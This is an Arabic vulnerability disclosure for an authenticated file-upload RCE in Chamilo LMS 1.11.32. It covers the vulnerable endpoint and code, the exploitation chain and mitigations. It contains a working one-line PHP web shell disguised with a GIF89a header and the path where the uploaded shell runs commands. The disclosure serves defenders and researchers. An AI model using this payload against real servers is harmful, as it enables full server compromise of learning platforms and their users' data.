
مرحبًا، أنا K، هذه أول ثغرة CVE لي، وهي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE). إنها بداية رحلتي كباحث في مجال الأمن السيبراني.
تنفيذ أوامر عن بُعد (RCE) موثّق في Chamilo LMS 1.11.32 عبر التحقق غير السليم من رفع الملفات في نقطة النهاية AJAX الخاصة بـ
ck_uploadimage. يمكن لطالب بصلاحيات منخفضة رفع قشرة ويب PHP متنكرة في صورة ملف صورة، مما يحقق اختراقًا كاملاً للخادم.
| الحقل | التفاصيل |
|---|
| المنتج | Chamilo LMS |
| الإصدار | 1.11.32 (مؤكد) |
| الثغرة | رفع ملفات غير مقيد مع نوع خطير (CWE-434) |
| الأثر | تنفيذ أوامر عن بُعد موثّق (RCE) |
| CVSS v3.1 | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| مطلوب مصادقة | ✅ نعم — دور الطالب (صلاحية منخفضة) |
| CWE | CWE-434: رفع غير مقيد لملف بنوع خطير |
| المكتشف | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
الملف المعرض للخطر: main/inc/ajax/document.ajax.php
الدالة المعرضة للخطر: ck_uploadimage
يقوم معالج الرفع بإجراء التحقق من نوع MIME فقط باستخدام دالة PHP mime_content_type()، والتي تفحص البايتات السحرية للملف (أول بضع بايتات من المحتوى)، وليس امتداد الملف.
// منطق التحقق المعرض للخطر (مبسّط)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ لا يوجد تحقق من الامتداد
// ❌ لا يوجد تنظيف لاسم الملف
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
يتحد ضعفان منفصلان في سلسلة استغلال كاملة:
GIF89a) قبل كود PHP.php، في دليل يمكن الوصول إليه عبر الويبيتم إنشاء ملف خبيث على النحو التالي:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() قيمة GIF89a → تصنفه كـ image/gif → يجتاز التحققmove_uploaded_file() الملف باسم shell.php في /app/upload/users/<id>/ → قابل للتنفيذ مباشرة عبر المتصفحقم بتشغيل الاستغلال الكامل الذي يسجل الدخول كطالب لتنفيذ رفع الملفات تلقائيًا
بعد تشغيل استغلال Python الكامل، يمكننا العثور على قشرة الويب المرفوعة لدينا على http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id

يؤدي الاستغلال الناجح لهذه الثغرة إلى اختراق كامل للخادم من حساب بمستوى طالب:
أثر CIA: فقدان كامل للسرية والنزاهة والتوافر.
▪ فرض قائمة سماح صارمة لامتدادات الملفات يجب قبول امتدادات ملفات الصور المسموح بها صراحةً فقط (مثل .jpg و .png و .gif). يجب رفض الملفات المرفوعة ذات الامتدادات القابلة للتنفيذ مثل .php أو .phtml أو .phar بغض النظر عن نوع MIME.
▪ لا تعتمد فقط على التحقق من نوع MIME لا ينبغي استخدام فحوصات نوع MIME باستخدام دوال مثل mime_content_type() كعنصر تحكم أمني أساسي، حيث يمكن تجاوزها باستخدام ترويسات ملفات مصممة بعناية. يجب استخدام التحقق من MIME فقط كفحص ثانوي.
▪ قم بتخزين الملفات المرفوعة خارج الدلائل التي يمكن الوصول إليها عبر الويب يجب تخزين المحتوى المرفوع في دليل لا يمكن الوصول إليه مباشرة عبر خادم الويب. إذا كان الوصول العام مطلوبًا، فيجب تقديم الملفات من خلال معالج مُتحكم به بدلاً من الوصول المباشر.
MENG HOKSENG
باحث أمني مستقل
تم إصدار هذا المشروع لأغراض تعليمية وبحوث أمنية مصرح بها فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا الاستغلال. احصل دائمًا على إذن كتابي صريح قبل إجراء تقييمات أمنية.